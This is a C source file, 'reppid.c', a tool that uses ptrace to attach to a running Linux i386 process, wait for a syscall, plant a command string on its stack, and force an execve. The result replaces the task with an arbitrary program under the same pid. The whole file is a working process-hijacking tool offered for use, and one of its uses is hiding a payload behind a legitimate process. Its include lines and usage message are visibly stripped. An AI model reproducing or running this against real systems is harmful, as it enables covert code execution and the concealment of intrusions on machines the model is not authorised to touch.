/* * replace a task by another task under the same pid. * by psychoid * * the program waits for the task doing a syscall. for that * you possibly need to interact with the program, either by * sending a message, or doing a connect to it. * * to compile: gcc reppid.c -o reppid */ #include #include #include #include #include #include #include #include #include #ifndef PTRACE_GETREGS #error "Sorry, Getregs not supported here. Try PeekUsr, if you can." #endif #define ENOTENUFFPERM 1 #define EINVALIDPID 2 #define ENOTASK 3 #define ENOEXECL 4 #define ENOGETREGS 5 #define ESINGLESTEP 6 #define EATTACH 7 #define EPEEKTEXT 8 int main(int argc, char **argp) { long int pid; struct user_regs_struct uregs; unsigned long esp; int ascall=0; char *newcmd; char *ept; unsigned char b4[4]; char buf[256]; int ln; if(argc!=3) { printf("Usage: %s \n",argp[0]); exit(ENOTENUFFPERM); } pid=strtoul(argp[1],NULL,0L); if(!pid || pid ==1) { printf("No pid given or invalid pid.. aborting..\n"); exit(EINVALIDPID); } /* okay, lets attach to the task */ if(ptrace(PTRACE_ATTACH,pid,0L,0L)) { perror("attach"); exit(EATTACH); } printf("Waiting for a syscall..\n"); while(!ascall) { if(ptrace(PTRACE_GETREGS,pid,&uregs,&uregs)) { ptrace(PTRACE_DETACH,pid,0L,0L); perror("getregs"); exit(ENOGETREGS); } *(unsigned long *)&b4[0]=ptrace(PTRACE_PEEKDATA,pid,uregs.eip,&b4[0]); if(b4[0]==0xcd && b4[1]==0x80) /* cd 80 = int 80 */ { ascall=1; } else { if(ptrace(PTRACE_SINGLESTEP,pid,0L,0L)) { ptrace(PTRACE_DETACH,pid,0L,0L); perror("singlestep"); exit(ENOGETREGS); } waitpid(pid,NULL,WUNTRACED); } } printf("Got a syscall.. trying to execute now\n"); /* we got the registers. now lets analyze them. */ printf("EIP currently at: 0x%08x\n",uregs.eip); printf("ESP currently at: 0x%08x\n",uregs.esp); printf("Riding Syscall : 0x%08x\n",uregs.eax); /* now, lets corrupt the stack */ esp=uregs.esp; esp-=24; esp-=(strlen(argp[2])+8); ptrace(PTRACE_POKETEXT,pid,esp,0L); ptrace(PTRACE_POKETEXT,pid,esp+4,esp+12); /*useless ? yes. */ ptrace(PTRACE_POKETEXT,pid,esp+8,esp+16); /* too */ ptrace(PTRACE_POKETEXT,pid,esp+12,esp+24); /* not */ ptrace(PTRACE_POKETEXT,pid,esp+16,0L); /* copy the task to be called */ newcmd=(char *)calloc(1,strlen(argp[2])+4); strcpy(newcmd,argp[2]); ln=24; ept=newcmd; while(*ept) { ptrace(PTRACE_POKETEXT,pid,esp+ln,*(unsigned long *)ept); ept+=4; ln+=4; } ptrace(PTRACE_POKETEXT,pid,esp+ln,0); /* set eax to __NR_execv, and params as needed */ uregs.eax=__NR_execve; uregs.ebx=esp+24; uregs.ecx=esp+12; uregs.edx=esp+16; /* set the registers */ if(ptrace(PTRACE_SETREGS,pid,&uregs,&uregs)) { ptrace(PTRACE_DETACH,pid,0L,0L); perror("setregs"); } if(ptrace(PTRACE_DETACH,pid,0L,0L)) perror("detach"); exit(0x0); }